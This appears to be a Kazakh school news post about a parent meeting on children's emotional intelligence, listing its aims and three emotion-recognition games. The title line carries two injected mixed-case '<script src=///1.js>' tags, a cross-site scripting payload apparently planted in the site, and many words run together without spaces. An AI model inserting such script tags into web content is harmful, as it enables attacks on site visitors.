Тақырыбы: «Эмоционалды интеллект – табыстытұлғаныңнегізі».<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

29.03.2024

22.11.2023 «Н.Смағұловатындағымектеп-лицейі» КММ-де 10-11 сыныпоқушыларыныңата-аналарыменкездесуөтті.

Тақырыбы: «Эмоционалды интеллект – табыстытұлғаныңнегізі».

Өзектілігі:Қазіргіпсихологтарэмоционалдықинтеллекттіадамныңмансаптағыжәнеөмірдегітабысыныңнегізгіфакторларыныңбіріретіндеқарастырады, сондықтан оны жастайынандамытуқажет. Зерттеулер «логикалық» интеллекттіңжоғарыдеңгейібаланыңтабысынанықтамайтынынрастады. Дамығанэмоционалды интеллект - жекеәл-ауқат пен табыстыңкілті. Сондықтан да бүгінгікүніата-ананыңалдындаэмоционалдыдамығантұлғанытәрбиелеуміндетітұр.

Мақсаты:эмоционалды интеллект ұғымыментаныстыру, ата-аналардыңназарынбалалардыңэмоционалдыинтеллектіндамытумәселесінеаудару.

Тапсырмалар:

– баланыңэмоционалдықинтеллектісіндамытуүшінбалаларменбірлескеніс-әрекеттүрлерітуралыата-аналардыңидеяларындамыту;

– балалардыңэмоционалдықинтеллектіндамытудыңмаңыздылығыментаныстыру

Жиынбасындаата-аналартақырыпбойыншаақпараттыңдады.

Келесікезектеата-аналарғаойындарұсынылды.

«Эмоцияларды тап» ойыны

Әр қатысушысөзтіркесі мен эмоцияжазылған карточканы алады, алата-аналар оны эмоциямен айтады. Қалғандарыбұлсөйлемдіқандайэмоцияменайтқанынболжауыкерек.

Ата-аналарғаэмоциялардытүсінужәнебейнелеуоңайболғанынталқылаңыз.

Ойын «Мен қалайсөйлеймін?»

Мақсаты: эмоциялардытануғаүйрету.

Бірсөзтіркесінәртүрліинтонациялармен (қуаныш, қайғы, ашу, таңдану, қорқыныш,  тітіркену) айтуғатырысыңыз.

 

«Сөздіжалғастыр» ойыны

Мақсаты: өзсезімдерінбілдіруқабілеттеріндамыту.

Ата-аналарөздерініңқашанжәнеқандайжағдайдаекенінайтып, сөзтіркесінжалғастырады: «Мен қашан...», «Мен ашуланамын...», «Мен ренжігенде...», «Мен ренжісем...» қашан...», «Мен қайғырамын.» ,қашан ...», т.б.

Соңындаата-аналаржиналыстуралыөзпікірлеріменбөлісті.